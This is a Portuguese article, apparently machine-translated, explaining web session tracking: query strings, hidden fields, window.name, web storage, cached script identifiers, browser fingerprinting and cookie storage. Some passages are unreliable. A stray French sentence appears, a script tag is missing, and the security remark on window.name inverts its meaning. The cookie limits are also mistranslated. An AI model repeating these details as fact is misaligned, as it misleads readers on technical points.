Por outro lado, quando um usuário acessa a mesma página duas vezes, não há garantia de que a mesma string de consulta será usada nas duas vezes. Por exemplo, se um usuário chega a uma página de uma página interna do site pela primeira vez e chega à mesma página de uma página externa pela segunda vez, a string de consulta relativa à página do site normalmente é diferente, enquanto os cookies são os mesmos .

Outras desvantagens das strings de consulta estão relacionadas à segurança: manter dados que identificam uma sessão em strings de consulta permite ou simplifica ataques de fixação de sessão, ataques de referência de identificador e outras explorações. Passar IDs de sessão como cookies HTTP é mais seguro.

Campo de formulário oculto

Uma forma de rastreamento de sessão, usada pelo ASP.NET, é usar formulários da web com campos ocultos. Essa técnica é muito semelhante ao uso de strings de consulta de URL para transportar informações e tem as mesmas vantagens e desvantagens; e se o formulário for processado com o método HTTP GET, os campos passam a fazer parte da URL do navegador que o enviará ao enviar o formulário. Mas a maioria dos formulários é processada com HTTP POST, o que faz com que as informações do formulário, incluindo campos ocultos, sejam adicionadas como uma entrada adicional que não faz parte da URL nem de um cookie.

Essa abordagem tem duas vantagens de uma perspectiva de rastreamento: primeiro, rastrear as informações colocadas no código-fonte HTML e a entrada POST em vez da URL permitirá que o usuário comum evite esse rastreamento; em segundo lugar, as informações da sessão não são copiadas quando o usuário copia a URL (para salvar a página em disco ou enviá-la por e-mail, por exemplo).

janela.nome

Todos os navegadores da Web comuns podem armazenar uma grande quantidade de dados (2 MB a 32 MB) via JavaScript usando a propriedade window.name do DOM. Esses dados podem ser usados ​​em vez de cookies de sessão e também são usados ​​em domínios. A técnica pode ser acoplada a objetos JSON para armazenar um conjunto complexo de variáveis ​​de sessão do lado do cliente.

A desvantagem é que cada janela ou guia separada inicialmente terá um window.name vazio; ao navegar por abas (abertas pelo usuário) isto significa que as abas abertas individualmente não terão nome de janela. Além disso, window.name pode ser usado para rastrear visitantes em diferentes sites, o que pode representar um problema de privacidade.

Em alguns aspectos, isso pode ser mais seguro do que cookies, devido ao não envolvimento do servidor, tornando-o invulnerável ao ataque de rede de cookies sniffer. No entanto, se medidas especiais forem tomadas para proteger os dados, eles ficam vulneráveis ​​a novos ataques, pois os dados estão disponíveis por meio de outros sites abertos na mesma janela.

Autenticação HTTP

O protocolo HTTP inclui os protocolos básicos de autenticação de acesso e o resumo de autenticação de acesso, que permite o acesso a uma página da Web somente quando o usuário fornecer o nome de usuário e a senha. Se o servidor solicitar um certificado para conceder acesso a uma página da web, o navegador o solicitará ao usuário e, uma vez obtido, o navegador o armazenará e o enviará em todas as solicitações HTTP subsequentes. Esta informação pode ser usada para rastrear o usuário.

Objeto compartilhado local

Se um navegador incluir o plug-in do Adobe Flash Player, o objetos compartilhados locais podem ser usados ​​para a mesma finalidade que os cookies. Eles podem ser uma escolha atraente para desenvolvedores da Web porque:

  • o limite de tamanho padrão para um objeto compartilhado local é 100 KB;
  • as verificações de segurança são separadas das verificações de cookies do usuário (portanto, objetos compartilhados locais podem ser permitidos quando os cookies não são).

Este último ponto, que distingue a política de gerenciamento de cookies dos objetos compartilhados locais da Adobe levanta questões sobre a gestão pelo usuário de suas configurações de privacidade: ele deve estar ciente de que sua gestão de cookies não tem impacto sobre a gestão de objetos locais compartilhados e vice-versa.

Outra crítica a esse sistema é que ele só pode ser usado por meio do plug-in Adobe Flash Player, que é proprietário e não um padrão da web.

Persistência do lado do cliente

Alguns navegadores da Web oferecem suporte a um mecanismo de persistência baseado em script, que permite que a página armazene informações localmente para uso posterior. O Internet Explorer, por exemplo, suporta informações persistentes no histórico do navegador, favoritos, em um formato armazenado em XML ou diretamente com uma página da Web salva em disco. Para o Microsoft Internet Explorer 5, há um método de dados do usuário disponível por meio de comportamentos DHTML.

O W3C introduziu no HTML 5 uma nova API JavaScript para armazenamento de dados do lado do cliente chamada armazenamento na Web e destinada a substituir permanentemente os cookies. É semelhante aos cookies, mas com capacidade muito melhorada e sem armazenar informações no cabeçalho das solicitações HTTP. A API permite dois tipos de armazenamento na web: localstorage e sessionstorage, semelhantes aos cookies persistentes e cookies de sessão (exceto que os cookies de sessão expiram quando o navegador é fechado enquanto armazenamento de sessão expiram quando a guia é fechada), respectivamente. O armazenamento na Web é compatível com Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 e Opera 10.50.

Um mecanismo diferente normalmente depende do cache do navegador (na memória em vez de atualizar) usando programas JavaScript em páginas da web. 

Por exemplo, uma página pode conter a tag . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Neste ponto, o programa permanece na memória cache e a página visitada não é recarregada uma segunda vez. Conseqüentemente, se o programa contiver uma variável global (por exemplo, var id = 3243242;), esse identificador permanece válido e pode ser explorado por outro código JavaScript assim que a página for carregada novamente ou uma vez que uma página que vincule o programa seja carregada. 

A principal desvantagem desse método é que a variável global JavaScript deve ser estática, o que significa que não pode ser alterada ou excluída como um cookie.

impressão digital do navegador

Uma impressão digital do navegador são informações coletadas sobre as definições de configuração de um navegador para fins de identificação. Essas impressões digitais podem ser usadas para identificar total ou parcialmente um usuário da Internet ou um dispositivo, mesmo quando os cookies estão desativados.

As informações básicas de configuração do navegador da Web são coletadas há muito tempo pelos serviços de audiência do site com o objetivo de medir com precisão o tráfego humano na Web e detectar várias formas de fraude de cliques. Com a ajuda de linguagens de script do lado do cliente, uma coleta de informações muito mais precisa é agora possível.

A conversão dessas informações em uma cadeia de bits produz uma impressão digital do dispositivo. Em 2010, a Electronic Frontier Foundation (EFF) mediu a entropia da impressão digital de um navegador como sendo pelo menos 18,1 pedaços, e isso foi antes dos avanços na impressão digital de tela adicionarem 5,7 bits a essa entropia.

Cookies em poucas palavras

Cookies são pequenos arquivos de texto armazenados pelo navegador da web no disco rígido de um visitante do site e que são usados ​​(entre outras coisas) para registrar informações sobre o visitante ou sua jornada pelo site. O webmaster pode assim reconhecer os hábitos de um visitante e personalizar a apresentação do seu site para cada visitante; os cookies permitem então lembrar quantos artigos exibir na página inicial ou mesmo reter as credenciais de login para qualquer pessoa particular: quando o visitante retorna ao site, não é mais necessário que ele digite seu nome e senha para sejam reconhecidos, pois são lidos automaticamente no cookie.

Um cookie tem uma vida útil limitada, definida pelo designer do site. Também podem expirar no final da sessão no site, o que corresponde ao fecho do navegador. Os cookies são amplamente utilizados para facilitar a vida dos visitantes e apresentar-lhes informações mais relevantes. Mas técnicas especiais permitem seguir um visitante em vários sites e, assim, coletar e cruzar informações muito extensas sobre seus hábitos. Este método deu ao uso de cookies uma reputação de técnica de vigilância que viola a privacidade dos visitantes, o que infelizmente corresponde à realidade em muitos casos de uso por motivos não técnicos ou não respeitosos com as expectativas do usuário.

Em resposta a esses temores legítimos, o HTML 5 apresenta uma nova API JavaScript para armazenamento de dados do lado do cliente chamada armazenamento Web, muito mais segura e com maior capacidade, que visa substituir os cookies.

Armazenamento de cookies

Com alguns navegadores, um cookie é facilmente editável, basta um editor de texto simples como o Notepad para alterar seus valores manualmente.

Os cookies são salvos de forma diferente dependendo do navegador:

  • Microsoft Internet Explorer salva cada cookie em um arquivo diferente;
  • Mozilla Firefox salva todos os seus cookies em um único arquivo;
  • Opera salva todos os seus cookies em um único arquivo e os criptografa (impossível modificá-los, exceto nas opções do software);
  • apple Safari salva todos os seus cookies em um único arquivo de extensão .plist. A modificação é possível, mas não muito fácil, a menos que você passe pelas opções do software.

Os navegadores são necessários para suportar minima :

  • 300 cookies simultâneos;
  • 4 o por cookie;
  • 20 cookies por host ou domínio.
[Total: 0 média: 0]

Escrito por Editores de resenhas

A equipe de editores especialistas passa seu tempo pesquisando produtos, realizando testes práticos, entrevistando profissionais da indústria, revisando avaliações de consumidores e escrevendo todos os nossos resultados como resumos compreensíveis e abrangentes.

Deixe um comentário

Seu endereço de email não será publicado. Campos obrigatórios estão marcados com *

O que você acha?

384 Points
Upvote Downvote